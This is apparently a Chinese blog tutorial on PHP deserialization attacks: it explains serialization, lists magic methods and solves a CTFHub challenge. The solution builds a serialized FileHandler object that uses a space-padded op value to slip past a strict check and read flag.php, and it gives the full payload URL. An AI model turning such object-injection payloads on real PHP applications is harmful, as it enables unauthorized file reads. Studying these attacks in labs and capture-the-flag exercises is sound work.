什么是序列化和反序列化?

序列化就是把内存中的对象(变量)的状态(值)转换成字节流,以便于传输、便于保存在内存、文件、数据库中,这样是为了能做到持久化。
反序列化即序列化的逆过程,由字节流还原成对象。
什么是反序列化攻击?
原理:没有用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。
在反序列化的过程中会自动触发某些一些魔术方法。
下面就是PHP的一些魔术方法
1 2 3 4 5 6 7 8 9
| __construct()//创建对象时触发 __destruct()//对象被销毁时触发 __call()//在对象上下文中调用不可访问的方法时触发 __callStatic()//在静态上下文中调用不可访问的方法时触发 __get()//用于从不可访问的属性读取数据 __set()//用于将数据写入不可访问的属性 __isset()//在不可访问的属性上调用 isset()或 empty()触发 __unset()//在不可访问的属性上使用 unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
|
首先我们先来学习一下序列化,比如把 admin 这个字符串进行序列化后,输出为
1 2 3 4
| <?php $key="admin"; echo serialize($key); ?>
|

这就是一个序列化的过程,结果是一个字符串,这里的S代表字符串类型,5代表有5个字符
补充一下
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
那我们接着再来反序列化
1 2 3 4
| <?php $key='s:5:"admin"'; echo unserialize($key); ?>
|

这是反序列化过程,结果为 原来的字符串 admin
有类的一个测试
反序列化可以把它分为有类和无类,上面那种就属于五类,下面这种就属于有类,有类五类的区别就是有类会执行魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class ABC{ public $test; function __construct(){ $test = 1; echo '调用了构造函数<br>'; } function __destruct(){ echo '调用了析构函数<br>'; } function __wakeup(){ echo '调用了苏醒函数<br>'; } } echo '创建对象a<br>'; $a = new ABC; echo '序列化<br>'; $a_ser=serialize($a); echo '反序列化<br>'; $a_unser=unserialize($a_ser); echo '对象快要死了!'; ?>
|
运行结果为:
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!调用了析构函数
调用了析构函数
下面来练练手
真题
CTFHUB: https://www.ctfhub.com/#/challenge

题目里给了一个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
分析了一下源码,这个是属于有类
根据这道题的名称和代码最后涉及的unserialize判断是应该要运用反序列化知识点
第一:获取flag存储flag.php
第二:两个魔术方法__destruct __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
然后构造出反序列化的代码
1 2 3 4 5 6 7 8 9 10
| <?php class FileHandler{ public $op=' 2'; public $filename="flag.php"; public $content="xd"; } $flag = new FileHandler(); $flag_1 = serialize($flag); echo $flag_1; ?>
|

把反序列化出来的值赋给str变量,因为最后是通过反序列化变量str进行输出flag的
所以访问
http://challenge-d55c5fcab64f6a6e.sandbox.ctfhub.com:10800/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
然后查看源代码,flag就出来了

其他相关文章